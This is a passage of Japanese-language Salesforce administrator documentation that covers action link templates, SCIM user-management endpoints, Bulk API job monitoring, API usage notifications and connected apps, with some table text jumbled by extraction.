[設定] でアクションリンクテンプレートを作成し、Chatter REST API または Apex か
ら共通のプロパティを持つアクションリンクグループをインスタンス化できま
す。テンプレートをパッケージ化して他の Salesforce 組織に配布できます。

メモ: アクションリンクテンプレートは、[設定] から作成するだけでなく、
メタデータ API、SOAP API、および REST APIを使用して作成することもできま
す。

[アクション URL]、[HTTP リクエストボディ]、および [HTTP ヘッダー] 項目
はバインド変数とコンテキスト変数をサポートします。テンプレートにバイン
ド変数を定義し、アクションリンクグループをインスタンス化するときにその
値を設定します。テンプレートでコンテキスト変数が使用されている場合、ア
クションリンクが実行されると Salesforce が値を入力して要求で返します。テン
プレートでこれらの変数を使用する方法についての詳細は、「アクションリン
クテンプレートの設計」を参照してください。
1. [設定] から、[クイック検索]ボックスに「アクションリンクテンプレート」と

入力し、[アクションリンクテンプレート] を選択します。
2. [新規] をクリックします。
3. テンプレートの [名前]を入力します。この名前が、アクションリンクグルー

プテンプレートのリストに表示されます。
これがアクションリンクグループテンプレートの公開後に編集可能な唯一の
アクションリンクグループテンプレート値です。

4. [API 参照名]を入力します。コードからこのテンプレートを参照するには、開発者名を使用します。[API

参照名] はデフォルトの空白を除いた名前になります。文字、数字、アンダースコア文字のみを使用でき
ます。

5. [カテゴリ]を選択します。これは、インスタンス化したアクションリンクグループをフィード要素上のど
こに表示するかを示します。[プライマリ] を選択すると、アクションリンクグループはフィード要素の本
文に表示されます。[オーバーフロー] を選択すると、アクションリンクグループはフィード要素のオーバー
フローメニューに表示されます。
アクションリンクグループテンプレートが [プライマリ] の場合、最大 3 個のアクションリンクテンプレー
トを含めることができます。アクションリンクグループテンプレートが [オーバーフロー] の場合、最大 4

個のアクションリンクテンプレートを含めることができます。
6. [実行可] の数を選択します。これは、このテンプレートからインスタンス化されたアクションリンクグ

ループを何回実行できるかを示します (1 つのグループ内に同じアクションリンクを含めることはできませ
ん)。Unlimited を選択すると、グループ内のアクションリンクを種別 Apiまたは ApiAsyncにすることはで
きません。

7. (省略可能) [有効期限までの時間] を入力します。これは、アクションリンクグループを作成してから、ア
クションリンクグループが関連するフィード要素から削除され実行できなくなるまでの時間数です。最大
値は、8760 です。
「アクションリンクグループの有効期限の設定」を参照してください。
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8. [保存] をクリックします。
9. [新規] をクリックしてアクションリンクテンプレートを作成します。

アクションリンクテンプレートは、自動的に主従関係でアクションリンクグループテンプレートに関連付
けられます。

10. [アクション種別] をクリックします。
値は次のとおりです。
• Api  — アクションリンクは、アクション URL で同期 API をコールします。Salesforce は、サーバから返さ

れた HTTP 状況コードに基づいて状況を SuccessfulStatus または FailedStatus に設定します。
• ApiAsync  — アクションリンクは、アクション URL で非同期 API をコールします。アクションは、非同

期操作の完了時にサードパーティが /connect/action-links/actionLinkIdへの要求を行って状況
を SuccessfulStatus または FailedStatus に設定するまで、PendingStatus 状態のままになりま
す。

• Download  — アクションリンクは、アクション URL からファイルをダウンロードします。
• Ui  — アクションリンクはアクション URL の Web ページをユーザに表示します。

11. [アクション URL] を入力します。これはアクションリンクの URL です。
UIアクションリンクの場合、URL は Web ページになります。Downloadアクションリンクの場合、URL は、
ダウンロードするファイルへのリンクになります。Api アクションリンクまたは ApiAsync アクションリ
ンクの場合、URL は REST リソースになります。
Salesforceサーバでホストされるリソースへのリンクは、 / で開始する相対リンクにすることができます。
他のすべてのリンクは、https:// で始まる絶対リンクにする必要があります。この項目には、バインド
変数を {!Bindings.key} 形式で含めることができます
(https://www.example.com/{!Bindings.itemId} など)。バインド変数の値は、テンプレートからア
クションリンクグループをインスタンス化するときに設定します。たとえば、次の Chatter REST API の例で
は、itemId の値が 8675309 に設定されます。

POST /connect/action-link-group-definitions

{
"templateId" : "07gD00000004C9r",
"templateBindings" : [

{
"key":"itemId",
"value": "8675309"

}
]

}

この項目には、コンテキスト変数を含めることもできます。コンテキスト変数を使用して、アクションリ
ンクを実行したユーザに関する情報をサーバ側のコードに渡すことができます。たとえば、次のアクショ
ンリンクは、アンケートに回答するためにアクションリンクをクリックしたユーザの ID を、アンケートを
ホストするサーバに渡します。
actionUrl=https://example.com/doSurvey?surveyId=1234&salesforceUserId={!userId}
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12. HTTP 要求の実行に使用する [HTTP メソッド] を入力します。
13. (省略可能) [アクション種別] が Api または ApiAsync の場合、[HTTP リクエストボディ] を入力します。

この項目には、バインド変数とコンテキスト変数を含めることができます。
14. (省略可能) [アクション種別] が Api または ApiAsync の場合、[HTTP ヘッダー] を入力します。

この項目には、バインド変数とコンテキスト変数を含めることができます。
テンプレートからインスタンス化されたアクションリンクが Salesforce リソースへの要求を実行する場合、
テンプレートには Content-Type ヘッダーが必要です。

15. (省略可能) このアクションリンクをグループのデフォルトリンク (UI で特殊な形式を使用) にするには、[グ
ループ内のデフォルトリンク] を選択します。各グループに含めることができるデフォルトリンクは 1 つの
みです。

16. (省略可能) アクションリンクが実行される前にユーザに確認ダイアログを表示するには、[要確認] を選択
します。

17. このテンプレートからインスタンス化されたアクションリンクグループ内のアクションリンクの相対 [位
置] を入力します。最初の位置は 0 です。

18. [表示ラベルキー] を入力します。この値は、状況 NewStatus、PendingStatus、SuccessfulStatus、FailedStatus に対
して表示される UI 表示ラベルセットのキーです。
たとえば、[投稿]セットには、[投稿]、[投稿待機中]、[投稿済み]、[投稿失敗]の表示ラベルが含まれます。
次の画像は、状況の値が SuccessfulStatus のときの [投稿] 表示ラベルキーを持つアクションリンクを示しま
す。
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19. (省略可能) アクションリンクに適した [表示ラベルキー] 値がない場合、[表示ラベルキー] を [なし] に設定
して、[表示ラベル] 項目に値を入力します。
アクションリンクには、NewStatus、PendingStatus、SuccessStatus、FailedStatus の 4 つの状況があります。次の
文字列が、各状況の表示ラベルに追加されます。
• 表示ラベル
• 表示ラベル待機中
• 表示ラベル成功
• 表示ラベル失敗
たとえば、label の値が「See Example」の場合、4 つのアクションリンクの状態の値は「See Example」、
「See Example 待機中」、「See Example 成功」、および「See Example 失敗」になります。
アクションリンクでは、表示ラベル名の生成に LabelKey または Label を使用できますが、両方は使用
できません。

20. [ユーザ表示設定] を選択します。これはアクションリンクグループを表示できるユーザを示します。
[作成者のマネージャのみに表示] を選択した場合、マネージャはアクションリンクグループがインスタン
ス化されたときの作成者のマネージャになります。アクションリンクグループがインスタンス化された後
に作成者のマネージャが変わった場合、変更は反映されません。

21. (省略可能) [カスタムユーザのみに表示] または [カスタムユーザ以外の全員に表示] を選択した場合は、[カ
スタムユーザ(別名)] を入力します。
バインド変数の値を設定する場合と同様に、文字列を入力し、アクションリンクグループをインスタンス
化するときにその値を設定します。ただし、テンプレートではバインド変数の構文は使用せずに、値のみ
を入力してください。たとえば、ExpenseApprover などと入力します。次の Chatter REST API の例では、
ExpenseApprover の値を 005B0000000Ge16 に設定します。

POST /connect/action-link-group-definitions

{
"templateId" : "07gD00000004C9r",
"templateBindings" : [

{
"key":"ExpenseApprover",
"value": "005B0000000Ge16"

}
]

}

22. このアクションリンクグループテンプレートに別のアクションリンクテンプレートを作成するには、[保存
& 新規] をクリックします。

23. このアクションリンクグループテンプレートへのアクションリンクテンプレートの追加が完了したら、[保
存] をクリックします。

24. アクションリンクグループテンプレートを公開するには、[最後に開いたビューへ] をクリックして [アク
ションリンクグループテンプレート] リストビューに戻ります。
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重要: Apexまたは Chatter REST APIでアクションリンクグループをテンプレートからインスタンス化する
には、事前にテンプレートを公開する必要があります。

25. 公開するアクションリンクグループテンプレートの [編集] をクリックします。
26. [公開済み] を選択して、[保存] をクリックします。

アクションリンクテンプレートの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Personal Edition を除くす
べてのエディション。

ユーザ権限

アクションリンクグルー
プテンプレートを編集す
る
• 「アプリケーションの

カスタマイズ」

アクションリンクテンプ
レートを編集する
• 「アプリケーションの

カスタマイズ」

未公開のアクションリンクグループテンプレートおよび関連付けられているア
クションリンクテンプレートのすべての項目を編集できます。
1. [設定] から、[クイック検索]ボックスに「アクションリンクテンプレート」と

入力し、[アクションリンクテンプレート] を選択します。
2. アクションリンクグループテンプレートを編集するには、名前の横にある

[編集] をクリックします。
グループテンプレートが公開されていない場合は、任意の項目を編集しま
す。公開されている場合は、[名前] 項目のみを編集します。

3. アクションリンクテンプレートを編集する手順は次のとおりです。
a. 主アクションリンクグループテンプレートの名前をクリックします。
b. アクションリンクテンプレート ID をクリックして、アクションリンクテ

ンプレートの詳細ページを表示します。
c. [編集] をクリックします。

関連付けられているアクションリンクグループテンプレートが公開され
ていない場合は、任意の項目を編集します。公開されている場合は、次
のいずれかの項目を編集します。
• アクション URL

• HTTP リクエストボディ
• HTTP ヘッダー
上記の項目は、コンテキスト変数およびバインド変数をサポートします。
これらのいずれかの項目のコンテキスト変数を追加および削除できます。
新しいバインド変数を追加することはできません。実行できる操作は、次のとおりです。
• バインド変数をアクションリンクテンプレートの別の編集可能項目に移動する。
• アクションリンクテンプレートでバインド変数を複数回使用する。
• 同じアクションリンクグループテンプレートに関連付けられている任意のアクションリンクテンプ

レートでバインド変数を複数回使用する。
• バインド変数を削除する。
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アクションリンクグループテンプレートの削除

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Personal Edition を除くす
べてのエディション。

ユーザ権限

アクションリンクグルー
プテンプレートを削除す
る
• 「アプリケーションの

カスタマイズ」

アクションリンクテンプ
レートを削除する
• 「アプリケーションの

カスタマイズ」

アクションリンクグループテンプレートを削除すると、関連付けられているア
クションリンクテンプレートと、そのテンプレートからインスタンス化されて
いるすべてのアクションリンクグループが削除されます。削除されたアクショ
ンリンクグループは、関連付けられているすべてのフィード要素に表示されな
くなります。
1. [設定] から、[クイック検索]ボックスに「アクションリンクテンプレート」と

入力し、[アクションリンクテンプレート] を選択します。
2. アクションリンクグループテンプレートを削除するには、名前の横にある

[削除] をクリックします。

重要: アクションリンクグループテンプレートを削除すると、関連付け
られているアクションリンクテンプレートと、そのテンプレートからイ
ンスタンス化されているすべてのアクションリンクグループが削除され
ます。アクションリンクグループは、関連付けられているすべてのフィー
ド要素から削除されます。つまり、アクションリンクはフィードの投稿
に表示されなくなります。

3. アクションリンクテンプレートを削除する手順は、次のとおりです。
a. 主アクションリンクグループテンプレートの名前をクリックします。
b. アクションリンクテンプレート ID をクリックして、アクションリンクテ

ンプレートの詳細ページを表示します。
c. [削除] をクリックします。

重要: 公開されているアクションリンクグループテンプレートに関連付けられているアクションリン
クテンプレートは削除できません。
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アクションリンクテンプレートのパッケージ化

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Personal Edition を除くす
べてのエディション。

ユーザ権限

アクションリンクテンプ
レートをパッケージ化す
る
• 「AppExchange パッ

ケージの作成」

アクションリンクテンプレートをパッケージ化して他の Salesforce 組織に配布で
きます。
アクションリンクグループテンプレートを追加すると、関連付けられているア
クションリンクテンプレートもパッケージに追加されます。アクションリンク
グループテンプレートは、未管理パッケージまたは管理パッケージに追加でき
ます。アクションリンクグループテンプレートは、パッケージ化できるコンポー
ネントとして管理パッケージのすべての機能 (AppExchangeのリスト、転送アップ
グレード、インストール後 Apex スクリプト、ライセンス管理、高度な登録者サ
ポートなど) も活用できます。管理パッケージを作成するには、Developer Edition

組織を使用する必要があります。
• 「パッケージの作成および編集」(https://help.salesforce.com) を参照してくださ

い。

System for Cross-Domain Identity Management (SCIM) の使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforceは、オープン標準のクロスドメイン ID 管理 SCIM 仕様 1.1 をサポートし、
REST APIを使用してユーザのプロパティを編集および管理できるように、この仕
様に対して拡張機能をいくつか提供します。
ユーザに対して CRUD (作成、参照、更新、無効化) 操作を実行します。また、REST

APIを使用して Salesforceのプロファイル、権限セット、ロール、公開グループに
ユーザを割り当てたり、その割り当てを解除したりします。
Salesforce SCIM エンドポイントは次のとおりです。ここでは salesforce_org_url

はユーザにとっての組織の URL (カスタムドメインなど) です。
• https://salesforce_org_url/services/scim/v1/Users

• https://salesforce_org_url/services/scim/v1/Groups

• https://salesforce_org_url/services/scim/v1/Entitlements

• https://salesforce_org_url/services/scim/v1/Schemas

https://salesforce_org_url/services/scim/v1/ServiceProviderConfigs を使用して、Salesforce

SCIM 実装の機能を要求できます。
https://salesforce_org_url/services/scim/v1/Users/userID  (userIDはユーザの 18 文字の組織 ID)

を使用して、特定のユーザのプロパティを要求できます。
Salesforce には、次の拡張機能があります。
• マネージャ ID

• 外部ユーザ
• カスタム属性
• 権限セット
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次の SCIM エンタープライズ拡張機能は、次の URN の下に表示されます。
urn:scim:schemas:extension:enterprise:1.0

• employeeNumber

• division

• department

• manager (managerId および displayName)

• delegatedApprover (delegatedApproverId および displayName)

次の拡張機能は、次の URN の下に表示されます。
urn:salesforce:schemas:extension:18CHARORGID

• カスタム項目 (組織にある場合)

外部 ID ユーザまたはコミュニティユーザ (エンタイトルメントの profileId の種別が external identity

または community users) の次の拡張機能は、次の URN の下に表示されます。
urn:salesforce:schemas:extension:external:1.0

• accountId

• contactId

これらの値が提供されない場合は、Salesforceにより取引先責任者レコードと取引先レコードがユーザに対して
作成されます。新しい取引先名の形式は usernameJITUserAccount です。たとえば、
user@corpname.orgJITUserAccount です。

メモ: 次の点は、すべての SCIM 操作に適用されます。
• 句の AND は、OR よりも優先されません。1 つの句に AND と OR の両方がある場合、明示的に括弧を

句に追加します。
• 句の属性名と演算子は大文字と小文字を区別します。
• これらの項目は、次の各要素に基づいて絞り込む必要があります。

– ユーザ: entitlements、groups

– グループ: members

– エンタイトルメント: members

詳細は、SCIM 1.1 のコアスキーマの仕様、SCIM 1.1 REST API の仕様、および『Salesforce REST API 開発者ガイド』を参
照してください。
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一括データ読み込みジョブ

データの一括読み込みジョブの監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

データの一括読み込み
ジョブを監視する
• 「データインテグレー

ションの管理」

大規模データセットの処理用に最適化されている Bulk API を使用して、大きなレ
コードセットを作成、更新、および削除できます。千から百万単位のレコード
のデータを簡単に読み込んだり、更新したり、削除したりできます。大量のレ
コードの処理には時間がかかります。このページでは、現在のジョブの進捗状
況と最近のジョブの結果を監視できます。
1 つ以上のバッチを含むジョブを作成し、レコードセットを処理します。この
ジョブは、処理されるオブジェクトと使用されるアクションの種別 (クエリ、
queryAll、挿入、更新/挿入、更新、または削除) を指定します。バッチは、HTTP

POST 要求でサーバに送信されるレコードセットです。各バッチはサーバによっ
て独自に処理されます。受信した順序で処理されるとは限りません。
処理中または最近完了したデータの一括読み込みジョブの状況を追跡するには、
[設定] から [クイック検索]ボックスに「一括データ読み込みジョブ」と入力し、
[一括データ読み込みジョブ] を選択します。
[処理中のジョブ] リストには、アルファベット順に表示される次の列がありま
す。

説明列

このジョブに固有の 15 文字の ID。ジョブ ID

処理中のデータのオブジェクト種別。ジョブに含まれるすべての
データは、1 種類のオブジェクト種別でなければなりません。

オブジェク
ト

ジョブに含まれるバッチすべてに対する処理操作。有効な値は、
次のとおりです。

演算子

• delete

• insert

• query

• queryall

• upsert

• update

• hardDelete

登録された合計バッチ数に対する処理されたバッチ数の割合。ジョ
ブが進行中のときはジョブの合計バッチ数が不明なため、ジョブ

進行状況

が完了するまで進行状況は表示されません。進行状況には、正確
な処理済みレコード数が反映されない場合があります。バッチに
同じ数のレコードが含まれていない場合や、異なる速度で処理さ
れる場合があります。
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説明列

すでに処理済みのレコード数。この数値は、処理されたバッチ数が増えると大きくなりま
す。

処理済みレコー
ド

ジョブが登録された日時。開始時刻

ジョブの現在の処理状況。有効な値は、次のとおりです。状況
• Open: ジョブが作成され、このジョブにバッチを追加できます。
• Closed: このジョブには新しいバッチを追加できません。ジョブに関連付けられている

バッチは、ジョブが完了した後に処理できます。完了したジョブを編集または保存する
ことはできません。

• Aborted: ジョブが中止されました。
• Failed: ジョブが失敗しました。ジョブに含まれている正常に処理されたバッチはロー

ルバックできません。

ジョブを登録したユーザの名前。登録実行者

[完了したジョブ] リストには、アルファベット順に表示される次の列があります。完了したジョブは、完了後
7 日でリストから削除されます。

説明列

ジョブが完了した日時。終了時刻

このジョブに固有の 15 文字の ID。ジョブ ID

処理中のデータのオブジェクト種別。ジョブに含まれるすべてのデータは、1 種類のオブ
ジェクト種別でなければなりません。

オブジェクト

ジョブに含まれるバッチすべてに対する処理操作。有効な値は、次のとおりです。演算子
• delete

• insert

• query

• queryall

• upsert

• update

• hardDelete

すでに処理済みのレコード数。この数値は、処理されたバッチ数が増えると大きくなりま
す。

処理済みレコー
ド

ジョブが登録された日時。開始時刻

ジョブの現在の処理状況。有効な値は、次のとおりです。状況
• Open: ジョブが作成され、このジョブにバッチを追加できます。
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説明列

• Closed: このジョブには新しいバッチを追加できません。ジョブに関連付けられている
バッチは、ジョブが完了した後に処理できます。完了したジョブを編集または保存する
ことはできません。

• Aborted: ジョブが中止されました。
• Failed: ジョブが失敗しました。ジョブに含まれている正常に処理されたバッチはロー

ルバックできません。

ジョブを登録したユーザの名前。登録実行者

ジョブが完了するまでの合計時間。完了時間

関連トピック:

一括データ読み込みジョブの詳細の表示

一括データ読み込みジョブの詳細の表示

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

データの一括読み込み
ジョブを監視する
• 「データインテグレー

ションの管理」

大規模データセットの処理用に最適化されている Bulk API を使用して、大きなレ
コードセットを作成、更新、および削除できます。千から百万単位のレコード
のデータを簡単に読み込んだり、更新したり、削除したりできます。大量のレ
コードの処理には時間がかかります。このページでは、現在のジョブの進捗状
況と最近のジョブの結果を監視できます。
1. [設定] から、[クイック検索]ボックスに「一括データ読み込みジョブ」と入力

し、[一括データ読み込みジョブ] を選択します。
2. ジョブの [ジョブ ID] リンクをクリックします。
ジョブの詳細ページには、次の項目がアルファベット順に表示されます。

説明項目

ジョブデータに関連するトリガおよび他のプロセスの処理時間 (ミ
リ秒)。ジョブ内のすべてのバッチの処理時間の合計に相当します。
非同期およびバッチの Apex 操作の処理時間は含まれません。トリ
ガがない場合、この値は 0 になります。

Apex 処理
時間 (ミ
リ秒)

有効なジョブの処理時間 (ミリ秒)。[Apex 処理時間 (ミリ秒)] 項
目で追跡される時間を含みますが、ジョブがキューで処理を待機
している時間や、逐次化および並列化に要する時間は含まれませ
ん。ジョブ内のすべてのバッチの処理時間の合計に相当します。

API 有効
処理時間
(ミリ秒)

ジョブの API バージョン。API バー
ジョン

このジョブの完了したバッチ数。完了した
バッチ数
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説明項目

バッチ処理の同時実行モード。有効な値は、次のとおりです。同時実行モード
• parallel: バッチは並列モードで処理されます。これはデフォルト値です。
• serial: バッチは順次モードで処理されます。

ジョブのコンテンツタイプ。有効な値は、次のとおりです。コンテンツタイ
プ • CSV  — CSV 形式のデータ

• JSON  — JSON 形式のデータ
• XML  — XML 形式のデータ (デフォルトのオプション)

• ZIP_CSV  — バイナリ添付ファイルを含む zip ファイルに入っている CSV 形式のデータ
• ZIP_JSON  — バイナリ添付ファイルを含む zip ファイルに入っている JSON 形式のデータ
• ZIP_XML  — バイナリ添付ファイルを含む zip ファイルに入っている XML 形式のデータ

ジョブが完了した日時。終了時刻

upsert() に使用される外部 ID 項目の名前です。外部 ID 項目

このジョブの失敗したバッチ数。失敗したバッチ
数

このジョブに固有の 15 文字の ID。ジョブ ID

このジョブの処理中のバッチ数。処理中のバッチ
数

処理中のデータのオブジェクト種別。ジョブに含まれるすべてのデータは、1 種類のオブ
ジェクト種別でなければなりません。

オブジェクト

ジョブに含まれるバッチすべてに対する処理操作。有効な値は、次のとおりです。業務
• delete

• insert

• query

• queryall

• upsert

• update

• hardDelete

登録された合計バッチ数に対する処理されたバッチ数の割合。ジョブが進行中のときはジョ
ブの合計バッチ数が不明なため、ジョブが完了するまで進行状況は表示されません。進行状

進行状況

況には、正確な処理済みレコード数が反映されない場合があります。バッチに同じ数のレ
コードが含まれていない場合や、異なる速度で処理される場合があります。

このジョブのキューにあるバッチ数。キューにある
バッチ数
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説明項目

このジョブで正常に処理されなかったレコードの数。レコードの失敗

要求が送信された時点で処理済みのレコード数。この数値は、処理されたバッチ数が増える
と大きくなります。

処理済みレコー
ド

Salesforceが処理結果の保存を試行した回数。再試行の繰り返しはロックの競合などの問題に
よって発生します。

再試行回数

ジョブが登録された日時。開始時刻

ジョブの現在の処理状況。有効な値は、次のとおりです。状況
• Open: ジョブが作成され、このジョブにバッチを追加できます。
• Closed: このジョブには新しいバッチを追加できません。ジョブに関連付けられている

バッチは、ジョブが完了した後に処理できます。完了したジョブを編集または保存する
ことはできません。

• Aborted: ジョブが中止されました。
• Failed: ジョブが失敗しました。ジョブに含まれている正常に処理されたバッチはロー

ルバックできません。

ジョブを登録したユーザの名前。登録実行者

ジョブが完了するまでの合計時間。完了時間

ジョブの処理時間 (ミリ秒)。ジョブ内のすべてのバッチの処理時間の合計に相当します。合計処理時間
(ミリ秒)

ジョブの詳細ページには、ジョブの全バッチの関連リストも表示されます。関連リストには、各バッチについ
て [要求を表示] および [応答を参照] リンクが表示されます。バッチが CSV ファイルの場合、これらのリンクは
CSV 形式で要求または応答を返します。バッチが XML または JSON ファイルの場合、これらのリンクはそれぞれ
XML あるいは JSON 形式で要求または応答を返します。これらのリンクは、API バージョン 19.0 以降で作成され
たバッチに使用できます。
バッチの関連リストには、次の項目がアルファベット順に表示されます。

説明項目

バッチデータに関連するトリガおよび他のプロセスの処理時間 (ミリ秒)。トリガがない場
合、この値は 0 になります。非同期およびバッチの Apex 操作の処理時間は含まれません。

Apex 処理時間
(ミリ秒)

有効なバッチの処理時間 (ミリ秒)。Apex処理時間を含みます。バッチがキューで処理を待機
している時間や、逐次化および並列化に要する時間は含まれません。

API 有効処理
時間 (ミリ秒)

バッチの ID。グローバルに一意の場合がありますが、必ずしも一意にする必要はありませ
ん。

バッチ ID

UTC タイムゾーンでの処理の終了日時。状態が Completed の場合のみ有効です。終了時刻
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説明項目

このバッチで正常に処理されなかったレコードの数。レコードの失敗

要求が送信された時点で、このバッチで処理済みのレコード数。この数値は、処理された
バッチ数が増えると大きくなります。

処理済みレコー
ド

Salesforceが処理結果の保存を試行した回数。再試行の繰り返しは、ロックの競合やバッチの
処理時間の超過などの問題によって発生します。

再試行回数

UTC タイムゾーンでのバッチの作成日時。これは処理が開始した時間ではなく、バッチが
ジョブに追加された時間です。

開始時刻

バッチが正常に終了しなかった場合のエラー理由が記載されています。状態メッセージ

バッチの現在の処理状態。状況
• Queued: バッチ処理はまだ開始されていません。このバッチに関連付けられているジョ

ブが中止された場合は、バッチは処理されず、状態は Not Processedに設定されます。
• In Progress: バッチは処理中です。バッチに関連付けられているジョブが中止された場

合でも、バッチは完了するまで処理されます。バッチで処理を完了できるようにするた
め、バッチに関連付けられているジョブを閉じる必要があります。

• Completed: バッチ処理は完了済みで、結果のリソースが使用可能です。一部のレコード
の処理に失敗した場合は、結果のリソースに示されます。バッチは、一部のレコードま
たはすべてのレコードの処理に失敗した場合でも完了します。レコードのサブセットの
処理に失敗した場合、正常に処理されたレコードはロールバックされません。

• Failed: 要求がサポートされない形式に圧縮されている、内部のサーバエラーが発生し
たなどの予期しないエラーにより、このバッチは要求全体の処理に失敗しました。

• Not Processed: 要求がサポートされない形式に圧縮されている、内部のサーバエラー
が発生したなどの予期しないエラーにより、このバッチは要求全体の処理に失敗しまし
た。

バッチの処理時間 (ミリ秒)。バッチがキューで処理を待機している時間は除外されます。合計処理時間
(ミリ秒)

要求を表示するバッチへのリンクをクリックします。要求を表示

結果を表示するバッチへのリンクをクリックします。結果を表示

関連トピック:

データの一括読み込みジョブの監視
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API 使用状況通知

API 使用状況通知

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

通知を表示、作成、また
は削除する
• 「API の有効化」

API 要求使用状況通知を作成するときには、メールでの通知を受信するシステム
管理者を指定します。組織が使用するAPI要求数が指定した時間内での制限値を
超えると、このシステム管理者に通知が送信されます。
API 使用状況通知を表示するには、[設定] から [クイック検索] ボックスに「API

使用状況通知」と入力し、[API 使用状況通知] を選択します。
通知リストから、次の操作を実行できます。
• [編集] または [削除] をクリックして、既存の通知を編集または削除する。
• 通知を受信するユーザの名前を表示する。
• 通知を送信する間隔を定義する「通知間隔」を表示する。たとえば、通知間

隔が 4 時間なら、最後の通知から 4 時間以上経過してから次の通知が送信さ
れます。この場合、24 時間で最大 6 通の通知が送信されます。

• 制限値の割合を表示する。API 要求がこの割合を超えると、通知が送信され
ます。たとえば、要求の制限値が 1,000,000 件、しきい値が 60 (60%)、通知間隔
が 24 時間に設定されている組織では、24 時間以内に 600,000 件のAPI要求が発
生すると、指定ユーザに通知が送信されます。

• 通知を作成したユーザの名前、通知の作成時刻、通知の最終更新時刻、およ
び更新したユーザの名前を表示する。

通知を新規作成するには、[新規] をクリックします。
各組織につき通知は 10 通まで作成できます。

関連トピック:

API 使用状況通知の表示
API 使用状況通知の作成と編集
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API 使用状況通知の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

通知を表示、作成、また
は削除する
• 「API の有効化」

API 使用状況通知詳細ページでは、通知に関する情報を表示できます。
• 通知受信者 — メール通知を受信するユーザ名。
• しきい値 — 使用制限に対する割合で、しきい値を超えるとメール通知が送

信されます。
• 通知間隔 (時間) — 通知が送信される頻度。たとえば、通知間隔が 4 時間な

ら、最後の通知から 4 時間以上経過してから次の通知が送信されます。この
場合、24 時間で最大 6 通の通知が送信されます。

• 作成者 — 通知要求を作成したユーザと作成時刻。
• 更新者 — 通知を最後に更新したユーザ。
このページでは、表示されている通知の値に基づいた新しい通知も作成できま
す。[コピー]をクリックすると、現在の値と同じ値を持つ通知が新しく作成され
ます。この値を編集して保存します。

関連トピック:

API 使用状況通知の作成と編集
API 使用状況通知

API 使用状況通知の作成と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

通知を表示、作成、また
は削除する
• 「API の有効化」

API使用制限の編集ページで、使用制限通知に関する必須項目の値を指定できま
す。[設定] から、[クイック検索] ボックスに「API 使用状況通知」と入力し、
[API 使用状況通知] を選択します。
• 通知を受信する Salesforce ユーザ。
• しきい値 (パーセント) — 制限値の割合で、指定した通知間隔内にこの割合を

超過すると、指定ユーザに通知が送信されます。0 から 100 までの値を指定
してください。

• 要求数を測定する期間を時間単位で指定します。たとえば、24 を指定する
と、過去 24 時間に、指定したしきい値 (パーセント) を超えた場合にのみ通知
が送信されます。
期間を変更すると、新しい期間は既存の期間の次の通知の後に有効になりま
す。たとえば、通知を 1 時間ごとに送信するよう期間を設定していたとしま
す。その後、午後 4 時 5 分に、通知を 24 時間ごとに送信するよう期間を設定
します。その場合、既存の期間設定により通知が最後に送信されるのは午後
5 時です。次の通知は、翌日の午後 5 時に送信されます。

関連トピック:

API 使用状況通知の表示
API 使用状況通知
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リモートアクセスアプリケーション

リモートアクセスアプリケーション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

接続アプリケーションがリモートアクセスアプリケーションを置き換えました。
Salesforce と統合する必要のあるアプリケーションに接続アプリケーションを使
用して、ユーザを検証し、外部アプリケーションのセキュリティポリシーを制
御します。

関連トピック:

接続アプリケーション

接続アプリケーション

接続アプリケーション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

接続アプリケーションを
作成可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

接続アプリケーションを
インストール可能なエ
ディション: すべてのエ
ディション

ユーザ権限

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションを参照、作成、更
新または削除する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性以外のすべ
ての項目を更新する

「アプリケーションのカスタマイズ」お
よび「すべてのデータの編集」

プロファイル、権限セット、およびサー
ビスプロバイダの SAML 属性を更新する

「アプリケーションのカスタマイズ」お
よび

「すべてのデータの編集」または「接続
アプリケーションの管理」のいずれか

接続アプリケーションをインストールお
よびアンインストールする
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「アプリケーションのカスタマイズ」および

「すべてのデータの編集」または「接続アプリケーショ
ンの管理」のいずれか

パッケージ化された接続アプリケーションをインストー
ルおよびアンインストールする

および「AppExchange パッケージのダウンロード」

接続アプリケーションは、API を使用してアプリケーションを Salesforce と統合します。接続アプリケーション
は、標準の SAML および OAuth プロトコルを使用して認証し、シングルサインオンと Salesforce API で使用する
トークンを提供します。接続アプリケーションでは、標準の OAuth 機能に加え、Salesforce システム管理者がさ
まざまなセキュリティポリシーを設定したり、対応するアプリケーションを使用できるユーザを明示的に制御
したりすることができます。
開発者または Salesforce システム管理者は、次の情報を指定して Salesforce の接続アプリケーションを定義しま
す。
• 名前、説明、ロゴ、連絡先情報
• Salesforce がアプリケーションを見つけて認証または識別できるようにするための URL

• 認証プロトコル: OAuth、SAML、またはその両方
• IP 範囲 (省略可能)。この範囲のユーザが接続アプリケーションにログインできます
